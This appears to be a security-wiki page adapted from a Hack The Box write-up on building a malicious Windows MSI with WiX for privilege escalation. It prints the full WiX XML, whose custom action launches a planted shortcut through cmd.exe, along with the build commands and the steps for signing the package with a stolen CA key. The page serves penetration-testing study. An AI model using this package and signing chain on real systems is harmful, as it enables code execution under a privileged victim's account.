create-msi-with-wix.md (4860B)
1 --- 2 title: "Creating a Custom-Action MSI with WiX" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Creating a Custom-Action MSI with WiX 14 15 This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.<sup>[[1]](#references)[[3]](#references)</sup> 16 17 For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.<sup>[[2]](#references)</sup> 18 19 The MSI runs `C:\Users\Public\Desktop\Shortcuts\rick.lnk`. The original WiX v3 XML is preserved below:<sup>[[1]](#references)</sup> 20 21 ```html 22 <?xml version="1.0"?> 23 <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> 24 <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" 25 Version="0.0.1" Manufacturer="@_xpn_" Language="1033"> 26 <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> 27 <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/> 28 <Directory Id="TARGETDIR" Name="SourceDir"> 29 <Directory Id="ProgramFilesFolder"> 30 <Directory Id="INSTALLLOCATION" Name="Example"> 31 <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"> 32 </Component> 33 </Directory> 34 </Directory> 35 </Directory> 36 <Feature Id="DefaultFeature" Level="1"> 37 <ComponentRef Id="ApplicationFiles"/> 38 </Feature> 39 <Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property> 40 <CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" 41 Impersonate="yes"/> 42 <CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check"> 43 fail_here 44 </CustomAction> 45 <InstallExecuteSequence> 46 <Custom Action="Stage1" After="InstallInitialize"></Custom> 47 <Custom Action="Stage2" Before="InstallFiles"></Custom> 48 </InstallExecuteSequence> 49 </Product> 50 </Wix> 51 ``` 52 53 `InstallerVersion` declares the minimum Windows Installer version and `Compressed="yes"` marks the package as compressed. `Stage1` is deferred but has `Impersonate="yes"`, so it runs with the installing user's impersonated token; change of privilege in this scenario came from the privileged user who later opened the MSI, not from that attribute magically granting SYSTEM.<sup>[[3]](#references)</sup> 54 55 Compile the source to a WiX object with `candle.exe`:<sup>[[1]](#references)</sup> 56 57 ```text 58 candle.exe -out C:\tmp\wix.wixobj C:\tmp\Ethereal\msi.xml 59 ``` 60 61 Link that object into an MSI with `light.exe`:<sup>[[1]](#references)</sup> 62 63 ```text 64 light.exe -out C:\tmp\Ethereal\rick.msi C:\tmp\wix.wixobj 65 ``` 66 67 ### Signing step used in the original chain 68 69 The target workflow accepted packages signed by a compromised internal CA. The write-up derived a signing certificate from the recovered `MyCA.cer`/`MyCA.pvk`, created a PFX, and signed the MSI:<sup>[[1]](#references)</sup> 70 71 ```powershell 72 makecert.exe -n "CN=Ethereal" -pe -cy end ` 73 -ic C:\tmp\MyCA.cer -iv C:\tmp\MyCA.pvk -sky signature ` 74 -sv C:\tmp\rick.pvk C:\tmp\rick.cer 75 pvk2pfx.exe -pvk C:\tmp\rick.pvk -spc C:\tmp\rick.cer -pfx C:\tmp\rick.pfx 76 signtool.exe sign /f C:\tmp\rick.pfx C:\tmp\Ethereal\rick.msi 77 ``` 78 79 The attacker then placed the signed package in `D:\DEV\MSIs` and waited for the privileged workflow/user to execute it. Preserve that precondition when adapting the technique: without an elevated installation path, unsafe policy such as `AlwaysInstallElevated`, or a privileged victim, this package executes only with the current user's rights. 80 81 ## References 82 83 - [1] [Hack The Box - Ethereal: Creating Malicious msi and getting root - 0xRick's Blog](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root) 84 - [2] [A quick introduction: Create an MSI installer with WiX - CodeProject](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) (see also [wixtools](http://wixtoolset.org)) 85 - [3] [Microsoft Learn — Deferred execution custom actions (`Impersonate`)](https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-in-script-execution-options)